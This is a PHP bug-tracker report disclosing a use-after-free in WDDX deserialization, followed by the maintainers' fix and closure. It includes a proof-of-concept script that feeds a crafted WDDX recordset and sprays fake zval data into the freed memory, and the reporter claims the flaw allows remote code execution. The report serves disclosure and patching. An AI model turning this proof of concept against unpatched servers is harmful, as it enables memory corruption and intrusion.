Use After Free Vulnerability in WDDX Packet Deserialization

 [2015-10-07 17:08 UTC] taoguangchen at icloud dot com

Description:
------------
```
			if (Z_TYPE_P(ent2->data) == IS_ARRAY || Z_TYPE_P(ent2->data) == IS_OBJECT) {
				target_hash = HASH_OF(ent2->data);

				if (ent1->varname) {
					if (!strcmp(ent1->varname, PHP_CLASS_NAME_VAR) &&
						Z_TYPE_P(ent1->data) == IS_STRING && Z_STRLEN_P(ent1->data)) {
						...

						/* Clean up old array entry */
						zval_ptr_dtor(&ent2->data);
						
						/* Set stack entry to point to the newly created object */
						ent2->data = obj;
						
						/* Clean up class name var entry */
						zval_ptr_dtor(&ent1->data);
```

in during wddx packet deserialization, the zval_ptr_dtor() lead ZVAL is freed from the memory, however a crafted recordset can still use already freed memory. it is possible to use-after-free attack and execute arbitrary code remotely

PoC:
```
<?php

$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";

$x = <<<EOT
<?xml version='1.0'?>
<wddxPacket version='1.0'>
<header/>
	<data>
		<struct>
			<recordset rowCount='1' fieldNames='ryat'>
				<field name='ryat'>
					<var name='php_class_name'>
						<string>stdClass</string>
					</var>
					<null/>
				</field>
			</recordset>
		</struct>	
	</data>
</wddxPacket>
EOT;

$y = wddx_deserialize($x);

for ($i = 0; $i < 5; $i++) {
	$v[$i] = $fakezval.$i;
}

var_dump($y);

function ptr2str($ptr)
{
	$out = '';
	
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	
	return $out;
}

?>
```

fix
```
				if (ent1->varname) {
					if (!strcmp(ent1->varname, PHP_CLASS_NAME_VAR) &&
-						Z_TYPE_P(ent1->data) == IS_STRING && Z_STRLEN_P(ent1->data)) {
+						Z_TYPE_P(ent1->data) == IS_STRING && Z_STRLEN_P(ent1->data) && ent2->type == ST_STRUCT) {
```


 [2015-12-28 22:47 UTC] stas@php.net

-Assigned To: +Assigned To: stas

 [2015-12-28 22:47 UTC] stas@php.net

Fix committed to 5.5.31 security repo as dcf3c9761c31e12011ba202f30caff53aae2056c

 [2016-01-06 03:17 UTC] stas@php.net

-Status: Assigned +Status: Closed

 [2016-01-06 03:17 UTC] stas@php.net

The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2016-02-02 10:54 UTC] korvin1986 at gmail dot com

Hello, 
is any CVE-ID exists for this vulnerability.
Or have I request it at http://www.cve.mitre.org ?